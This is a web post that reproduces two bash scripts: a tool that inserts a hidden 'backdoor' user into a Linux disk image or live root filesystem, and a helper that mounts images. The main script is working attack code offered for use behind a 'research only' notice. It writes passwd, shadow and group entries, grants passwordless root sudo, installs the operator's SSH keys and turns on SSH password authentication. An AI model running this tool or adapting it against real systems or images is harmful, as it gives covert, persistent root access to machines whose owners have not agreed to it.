NOTICE : This post and script for research Purpose Only!
backdoor-image is a ‘backdoor’ user to a image or filesystem at ‘target’.
File lists:
+ backdoor-image.sh add a ‘backdoor’ user to a image or filesystem at ‘target’
+ mount-callback-umount : mount a file to a temporary mount point and then invoke the provided cmd with args, the temporary mountpoint will be put in an a environment variable named MOUNTPOINT
Usage:
git clone https://github.com/Crazykev/backdoor-image && cd backdoor-image chmod +x backdoor-image.sh chmod +x mount-callback-umount
backdoor-image.sh Script:
#!/bin/bash VERBOSITY=0 TEMP_D="" DEFAULT_USER="backdoor" error() { echo "$@" 1>&2; } Usage() { cat <<EOF Usage: ${0##*/} [ options ] target add a 'backdoor' user to a image or filesystem at 'target' options: --import-id U use 'ssh-import-id' to get ssh public keys may be used more than once. --force required to operate on / filesystem --password P set password P, implies --password-auth --password-auth enable password auth --pubkeys F add public keys from file 'F' default: ~/.ssh/id_rsa.pub unless --password or --import-id specified --user U use user 'U' (default: '${DEFAULT_USER}') EOF } bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; } cleanup() { [ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}" } debug() { local level=${1}; shift; [ "${level}" -gt "${VERBOSITY}" ] && return error "${@}" } mod_sshd_bool() { local cfg="$1" kn="$2" target="$3" dry=${4:-false} local ws=$' \t' msg="" local match="^\([#]\{0,1\}\)[#$ws]*$kn\([$ws]\+\)\(yes\|no\)" local cur="" hsh="#" cur=$(sed -n "s/$match/\1\3/p" "$cfg") || { error "failed to read $cfg"; return 1; } if [ -n "$cur" ]; then case "$cur" in "#$target") msg="uncommenting, '$target' line";; "#*") msg="uncommenting, changing '{cur#$hsh}' to '$target'";; "$target") msg="nochange";; "*") msg="changing '$cur' to '$target'";; esac if [ "$msg" = "nochange" ]; then debug 1 "no change to $cfg necessary" else debug 1 "updating $cfg: $msg" $dry && return sed -i "s/$match/$kn\2${target}/" "$cfg" || { error "failed to update $cfg"; return 1; } fi else debug 1 "appending entry for '$kn $target' to $cfg" $dry && return echo "$kn $target" >> "$cfg" || { error "failed to append entry to $cfg"; return 1; } fi return 0 } test_mod_sshd_cfg() { local kn="PasswordAuthentication" echo "#$kn yes" > f1 echo "#$kn no" > f2 echo "$kn yes" > f3 echo "$kn no" > f4 : > f5 for f in f1 f2 f3 f4 f5; do mod_sshd_bool "$f" PasswordAuthentication yes true done } add_group_ent() { local group="$1" gid="$2" fgroup="$3" dry="${4:-false}" local grent="$group:x:$gid:" if grep -q "^$group:" "$fgroup"; then debug 1 "remove $group from group file" $dry || sed -i "/^$group:/d" "$fgroup" || { error "failed to remove user from group"; return 1; } fi debug 1 "append entry to group: $grent" if ! $dry; then echo "$grent" >> "$fgroup" || { error "failed to update group file"; return 1; } fi return 0 } add_passwd_ent() { local user="$1" uid="$2" gid="$3" home="$4" fpasswd="$5" dry=${6:-false} if grep -q "^$user:" "$fpasswd"; then debug 1 "remove $user from password file" $dry || sed -i "/^$user:/d" "$fpasswd" || { error "failed to remove user from password file"; return 1; } fi local pwent="$user:x:$uid:$gid:backdoor:$home:/bin/bash" debug 1 "append entry to passwd: $pwent" if ! $dry; then echo "$pwent" >> "$fpasswd" || { error "failed to update passwd file"; return 1; } fi } encrypt_pass() { local pass="$1" fmt="${2-\$6\$}" enc=$(echo "$pass" | perl -e ' $p=<STDIN>; chomp($p); $salt = join "", map { (q(a)..q(z))[rand(26)] } 1 .. 8; if (${ARGV[0]}) { $salt = "${ARGV[0]}$salt\$"; } print crypt($p, "$salt") . "\n";' "$fmt") || return [ -n "${enc}" ] && [ -z "${fmt}" -o "${enc#${fmt}}" != "${fmt}" ] && _RET="$enc" } add_shadow_ent() { local user="$1" pass="$2" fshadow="$3" dry="$4" local encrypt_pre="\$6\$" shent="" encpass="" pwchange="" # if input was '$6$' format, just use it verbatum if [ "${pass#${encrypt_pre}}" != "${pass}" ]; then debug 1 "using encrypted password from cmdline" encpass="$pass" else encrypt_pass "$pass" && encpass="$_RET" || { error "failed to encrypt password"; return 1; } fi # pwchange is number of days since 1970 pwchange=$(($(date +"(%Y-1970)*365 + 10#%j"))) shent="$user:$encpass:$pwchange:0:99999:7:::" if grep -q "^$user:" "$fshadow"; then debug 1 "remove $user from shadow file" $dry || sed -i "/^$user:/d" "$fshadow" || { error "failed to remove user from shadow"; return 1; } fi debug 1 "append entry to shadow: $shent" if ! $dry; then echo "$shent" >> "$fshadow" || { error "failed to update shadow file"; return 1; } fi return 0 } add_sudo_ent() { local user="$1" mp="$2" dry="$3" local target="/etc/sudoers.d/99-$user" local ent="$user ALL=(ALL) NOPASSWD:ALL" local start="#BACKDOOR_START_${user}" local end="#BACKDOOR_end_${user}" local content=$(printf "%s\n%s\n%s\n" "$start" "$ent" "$end") if [ -f "$mp/etc/lsb-release" ] && grep -i lucid -q "$mp/etc/lsb-release"; then target="/etc/sudoers" debug 2 "$mp does not seem to support sudoers.d" debug 1 "add sudoers ($mp,$target): $ent" if grep -q "^$start$" "$mp/$target"; then debug 2 "removing $user entry from $target" if ! $dry; then sed -i "/^${start}$/,/^${end}$/d" "$target" || { error "failed update $target"; return 1; } fi fi if ! $dry; then ( umask 226 && echo "$content" >> "$mp/$target" ) || { error "failed to add sudoers entry to $target"; return 1; } fi else debug 1 "add sudoers ($mp,$target): $ent" if ! $dry; then rm -f "$mp/$target" && ( umask 226 && echo "$content" > "$mp/$target" ) || { error "failed to add sudoers entry to $target"; return 1; } fi fi } add_user() { local user="$1" pass="$2" uid="$3" gid="$4" home="$5" local rootd="$6" dry="${7:-false}" local fpasswd="$rootd/etc/passwd" fshadow="$rootd/etc/shadow" local fgroup="$rootd/etc/group" [ -f "$fpasswd" ] || { error "no password file"; return 1; } [ -f "$fshadow" ] || { error "no shadow file"; return 1; } [ -f "$fgroup" ] || { error "no group file"; return 1; } local group="$user" f="" t="" add_passwd_ent "$user" "$uid" "$gid" "$home" "$fpasswd" "$dry" || return 1 add_group_ent "$group" "$gid" "$fgroup" "$dry" || return 1 add_shadow_ent "$user" "$pass" "$fshadow" "$dry" || return 1 debug 1 "create $rootd/home/$user" if ! $dry; then mkdir -p "$rootd/home/$user" && chown $uid:$gid "$rootd/home/$user" || { error "failed to make home dir"; return 1; } for f in "$rootd/etc/skel/".* "$rootd/etc/skel/"*; do [ -e "$f" ] || continue t="$rootd/home/$user/${f##*/}" [ ! -e "$t" ] || continue cp -a "$f" "$t" && chown -R "$uid:$gid" "$t" || { error "failed to copy $f to $t"; return 1; } done fi } add_user_keys() { local keys="$1" dir="$2" ownership="$3" dry="${4:-false}" debug 1 "add ssh keys to $dir with $ownership" $dry && return mkdir -p "$dir" && cp "$keys" "$dir/authorized_keys" && chmod 600 "$dir/authorized_keys" && chown "$ownership" "$dir" "$dir/authorized_keys" && chmod 700 "$dir" || { error "failed to add user keys"; return 1; } if [ $VERBOSITY -ge 1 ]; then debug 1 "added ssh keys:" sed "s,^,| ," "$keys" fi } gen_ssh_keys() { local mp="$1" types="${2:-rsa}" dry="${3:-false}" local ktype="" file="" ftmpl="/etc/ssh/ssh_host_%s_key" out="" for ktype in $types; do file=${ftmpl//%s/$ktype} if [ -f "$mp/$file" ]; then debug 2 "existing key for $mp/$file" continue fi debug 1 "ssh-keygen -t $ktype -N '' -f '$file' -C backdoor" $dry && continue out=$(ssh-keygen -t "$ktype" -N '' -f "$mp/$file" -C backdoor 2>&1) || { error "$out" error "failed generate keytype $ktype"; return 1; } out=$(ssh-keygen -l -f "$mp/$file") debug 1 "$out" done } apply_changes() { local mp="$1" user="$2" password="$3" pwauth="$4" pubkeys="$5" local dry="${6:-false}" local home="/home/$user" key="" local uid="9999" gid="9999" local sshcfg="$mp/etc/ssh/sshd_config" [ -f "$sshcfg" ] || { error "$sshcfg did no exist"; return 1; } key="PubkeyAuthentication" mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" || { error "failed to set $key to yes"; return 1; } if $pwauth; then key="PasswordAuthentication" mod_sshd_bool "$sshcfg" "$key" "yes" "$dry" || { error "failed to set $key to yes"; return 1; } fi gen_ssh_keys "$mp" "rsa" "$dry" || return 1 add_user "$user" "$password" "$uid" "$gid" "$home" "$mp" "$dry" || return 1 [ -z "$pubkeys" ] || add_user_keys "$pubkeys" "$mp/$home/.ssh" "$uid:$gid" || return 1 add_sudo_ent "$user" "$mp" "$dry" || return 1 } main() { short_opts="hv" long_opts="help,dry-run,force,import-id:,password:,password-auth,pubkeys:,user:,verbose" getopt_out=$(getopt --name "${0##*/}" \ --options "{short_opts}" --long "${long_opts}" -- "$@") && eval set -- "${getopt_out}" || bad_Usage local user="" password="" pwauth=false pubkeys="" import_ids="" dry=false local target="" pkfile="" force=false user="${DEFAULT_USER}" local args="" args=( "$@" ) unset args[${#args[@]}-1] while [ $# -ne 0 ]; do cur=${1}; next=${2}; case "$cur" in -h|--help) Usage ; exit 0;; --dry-run) dry=true;; --force) force=true;; --import-id) import_ids="${import_ids:+${import_ids} }$next"; shift;; --password) password=$next; shift;; --password-auth) pwauth=true;; --pubkeys) pubkeys=$next; shift;; --user) user=$next; shift;; -v|--verbose) VERBOSITY=$((${VERBOSITY}+1));; --) shift; break;; esac shift; done [ $# -ne 0 ] || { bad_Usage "must provide image"; return 1; } [ $# -ge 2 ] && { bad_Usage "too many arguments: $*"; return 1; } [ "$(id -u)" = "0" ] || { error "sorry, must be root"; return 1; } target="$1" if [ -d "$target" ]; then if [ "$target" -ef "/" ] && ! $force; then error "you must specify --force to operate on /" return 1 fi elif [ -f "$target" ]; then local vopt="" mcu="mount-callback-umount" if [ ${VERBOSITY} -ge 2 ]; then vopt="-v" fi if ! command -v "$mcu" >/dev/null 2>&1; then if [ -x "${0%/*}/$mcu" ]; then PATH="${0%/*}:$PATH" elif command -v "mount-image-callback" >/dev/null 2>&1; then mcu="mount-image-callback" else error "No '$mcu' or 'mount-image-callback' in PATH" return 1 fi fi exec "$mcu" $vopt -- "$target" "$0" "${args[@]}" _MOUNTPOINT_ else [ -f "$target" ] || { error "$target: not a file"; return 1; } fi if [ -n "$password" ] && ! which perl >/dev/null 2>&1; then { error "perl required for making password"; return 1; } pwauth=true fi { [ -z "$import_ids" ] || which ssh-import-id >/dev/null 2>&1; } || { error "you do not have ssh-import-id"; return 1; } TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") || { error "failed to make tempdir"; return 1; } trap cleanup EXIT pkfile="${TEMP_D}/pubkeys" if [ -z "$password" -a -z "$pubkeys" -a -z "$import_ids" ]; then [ -f ~/.ssh/id_rsa.pub ] || { error "must specify one of --password, --pubkeys, --import-id" error "either pass an argument or create ~/.ssh/id_rsa.pub" return 1 } debug 1 "set pubkeys to ~/.ssh/id_rsa.pub" pubkeys=$(echo ~/.ssh/id_rsa.pub) fi if [ -n "$pubkeys" ]; then cp "$pubkeys" "$pkfile" || { error "failed to copy $pubkeys"; return 1; } fi if [ -n "$import_ids" ]; then ssh-import-id --output "$pkfile.i" ${import_ids} && cat "$pkfile.i" >> "$pkfile" || { error "failed to import ssh users: $import_ids"; return 1; } fi [ -f "$pkfile" ] || pkfile="" apply_changes "$target" "$user" "$password" "$pwauth" "$pkfile" [ $? -eq 0 ] || { error "failed to apply changes"; return 1; } error "added user '$user' to $target" [ -n "$password" ] && error "set password to $password." $pwauth && error "enabled password auth" || error "did not enable password auth" [ -n "$pubkeys" ] && error "added pubkeys from $pubkeys." [ -n "$import_ids" ] && error "imported ssh keys for $import_ids" return 0 } main "$@" # vi: ts=4 noexpandtab
mount-callback-umount Script:
#!/bin/bash VERBOSITY=0 TEMP_D="" UMOUNT="" QEMU_DISCONNECT="" error() { echo "$@" 1>&2; } Usage() { cat <<EOF Usage: ${0##*/} [ options ] file cmd [ args ] mount a file to a temporary mount point and then invoke the provided cmd with args the temporary mountpoint will be put in an a environment variable named MOUNTPOINT. if any of the arguments are the literal string '_MOUNTPOINT_', then they will be replaced with the mount point. Example: ${0##*/} my.img chroot _MOUNTPOINT_ /bin/sh options: -v | --verbose increase verbosity --read-only use read-only mount. -p | --proc bind mount /proc -s | --sys bind mount /sys -d | --dev bind mount /dev --system-mounts bind mount /sys, /proc, /dev --system-resolvconf copy host's resolvconf into /etc/resolvconf EOF } # umount_r(mp) : unmount any filesystems under r # this is useful to unmount a chroot that had sys, proc ... mounted umount_r() { local p for p in "$@"; do [ -n "$p" ] || continue tac /proc/mounts | sh -c ' p=$1 while read s mp t opt a b ; do [ "${mp}" = "${p}" -o "${mp#${p}/}" != "${mp}" ] || continue umount "$mp" || exit 1 done exit 0' umount_r "${p%/}" [ $? -eq 0 ] || return done } bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; } cleanup() { if [ -n "$UMOUNT" ]; then umount_r "$UMOUNT" || error "WARNING: unmounting filesystems failed!" fi if [ -n "$QEMU_DISCONNECT" ]; then local out="" out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) || { error "warning: failed: qemu-nbd --disconnect $QEMU_DISCONNECT" error "$out" } fi [ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm --one-file-system -Rf "${TEMP_D}" || error "removal of temp dir failed!" } debug() { local level="$1"; shift; [ "${level}" -gt "${VERBOSITY}" ] && return error "${@}" } mount_callback_umount() { local img_in="$1" dev="" out="" mp="" ret="" img="" ro="" local opts="" bmounts="" system_resolvconf=false short_opts="dhpsv" long_opts="dev,help,proc,read-only,sys,system-mounts,system-resolvconf,verbose" getopt_out=$(getopt --name "${0##*/}" \ --options "{short_opts}" --long "${long_opts}" -- "$@") && eval set -- "${getopt_out}" || { bad_Usage; return 1; } while [ $# -ne 0 ]; do cur=${1}; next=${2}; case "$cur" in -d|--dev) bmounts="${bmounts:+${bmounts} /dev}";; -h|--help) Usage ; exit 0;; -p|--proc) bmounts="${bmounts:+${bmounts} /proc}";; -s|--sys) bmounts="${bmounts:+${bmounts} /sys}";; --system-mounts) bmounts="/dev /proc /sys";; --system-resolvconf) system_resolvconf=true;; -v|--verbose) VERBOSITY=$((${VERBOSITY}+1));; --opts) opts="${opts} $next"; shift;; --read-only) ro="ro";; --) shift; break;; esac shift; done [ $# -ge 2 ] || { bad_Usage "must provide image and cmd"; return 1; } [ -n "$ro" ] && $system_resolvconf && { error "--read-only is incompatible with system-resolvconf"; return 1; } img_in="$1" shift 1 img=$(readlink -f "$img_in") || { error "failed to get full path to $img_in"; return 1; } [ "$(id -u)" = "0" ] || { error "sorry, must be root"; return 1; } TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") || { error "failed to make tempdir"; return 1; } trap cleanup EXIT mp="${TEMP_D}/mp" mkdir "$mp" || return local cmd="" arg="" found=false cmd=( ) for arg in "$@"; do if [ "${arg}" = "_MOUNTPOINT_" ]; then debug 1 "replaced string _MOUNTPOINT_ in arguments arg ${#cmd[@]}" arg=$mp fi cmd[${#cmd[@]}]="$arg" done if [ "{cmd[0]##*/}" = "bash" -o "{cmd[0]##*/}" = "sh" ] && [ ${#cmd[@]} -eq 0 ]; then debug 1 "invoking shell {cmd[0]}" error "MOUNTPOINT=$mp" fi local hasqemu=false command -v "qemu-nbd" >/dev/null 2>&1 && hasqemu=true if out=$(set -f; mount -o loop{ro:+,$ro} $opts \ "$img" "$mp" 2>&1); then debug 1 "mounted simple filesystem image '$img_in'" UMOUNT="$mp" else if ! $hasqemu; then error "simple mount of '$img_in' failed." error "if this not a raw image, or it is partitioned" error "you must have qemu-nbd (apt-get install qemu-utils)" error "mount failed with: $out" return 1 fi fi if [ -z "$UMOUNT" ]; then if [ ! -e /sys/block/nbd0 ] && ! grep -q nbd /proc/modules; then debug 1 "trying to load nbd module" modprobe nbd >/dev/null 2>&1 udevadm settle >/dev/null 2>&1 fi [ -e /sys/block/nbd0 ] || { error "no nbd kernel support, but simple mount failed" return 1; } local f nbd="" for f in /sys/block/nbd*; do [ -d "$f" -a ! -f "$f/pid" ] && nbd=${f##*/} && break done if [ -z "$nbd" ]; then error "failed to find an nbd device" return 1; fi nbd="/dev/$nbd" if ! qemu-nbd --connect "$nbd" "$img"; then error "failed to qemu-nbd connect $img to $nbd" return 1 fi QEMU_DISCONNECT="$nbd" local pfile="/sys/block/${nbd#/dev/}/pid" if [ ! -f "$pfile" ]; then debug 1 "waiting on pidfile for $nbd in $pfile" local i=0 while [ ! -f "$pfile" ] && i=$(($i+1)); do if [ $i -eq 200 ]; then error "giving up on pidfile $pfile for $nbd" return 1 fi sleep .1 debug 2 "." done fi debug 1 "connected $img_in to $nbd. now udev-settling" udevadm settle >/dev/null 2>&1 local mdev="$nbd" if [ -b "${nbd}p1" ]; then mdev="${nbd}p1" fi if ( set -f; mount {ro:+-o ${ro}} $opts "$mdev" "$mp" ) && UMOUNT="$mp"; then debug 1 "mounted $mdev via qemu-nbd $nbd" else local pid="" pfile="/sys/block/${nbd#/dev/}/pid" { read pid < "$pfile" ; } >/dev/null 2>&1 [ -n "$pid" -a ! -d "/proc/$pid" ] || error "qemu-nbd process seems to have died. was '$pid'" qemu-nbd --disconnect "$nbd" && QEMU_DISCONNECT="" error "failed to mount $mdev" return 1 fi fi local bindmp="" for bindmp in $bmounts; do [ -d "$mp${bindmp}" ] || mkdir "$mp${bindmp}" || { error "failed mkdir $bindmp in mount"; return 1; } mount --bind "$bindmp" "$mp/${bindmp}" || { error "failed bind mount '$bindmp'"; return 1; } done if ${system_resolvconf}; then local rcf="$mp/etc/resolv.conf" debug 1 "replacing /etc/resolvconf" if [ -e "$rcf" -o -L "$rcf" ]; then local trcf="$rcf.${0##*/}.$$" rm -f "$trcf" && mv "$rcf" "$trcf" && ORIG_RESOLVCONF="$trcf" || { error "failed mv $rcf"; return 1; } fi cp "/etc/resolv.conf" "$rcf" || { error "failed copy /etc/resolv.conf"; return 1; } fi debug 1 "invoking: MOUNTPOINT=$mp" "{cmd[@]}" MOUNTPOINT="$mp" "{cmd[@]}" ret=$? if ${system_resolvconf}; then local rcf="$mp/etc/resolv.conf" cmp --quiet "/etc/resolv.conf" "$rcf" >/dev/null || error "WARN: /etc/resolv.conf changed in image!" rm "$rcf" && { [ -z "$ORIG_RESOLVCONF" ] || mv "$ORIG_RESOLVCONF" "$rcf"; } || { error "failed to restore /etc/resolv.conf"; return 1; } fi debug 1 "cmd returned $ret. unmounting $mp" umount_r "$mp" || { error "failed umount $img"; return 1; } UMOUNT="" rmdir "$mp" if [ -n "$QEMU_DISCONNECT" ]; then local out="" out=$(qemu-nbd --disconnect "$QEMU_DISCONNECT" 2>&1) && QEMU_DISCONNECT="" || { error "failed to disconnect $QEMU_DISCONNECT"; error "$out" return 1; } fi return $ret } mount_callback_umount "$@" # vi: ts=4 noexpandtab
Source : https://github.com/Crazykev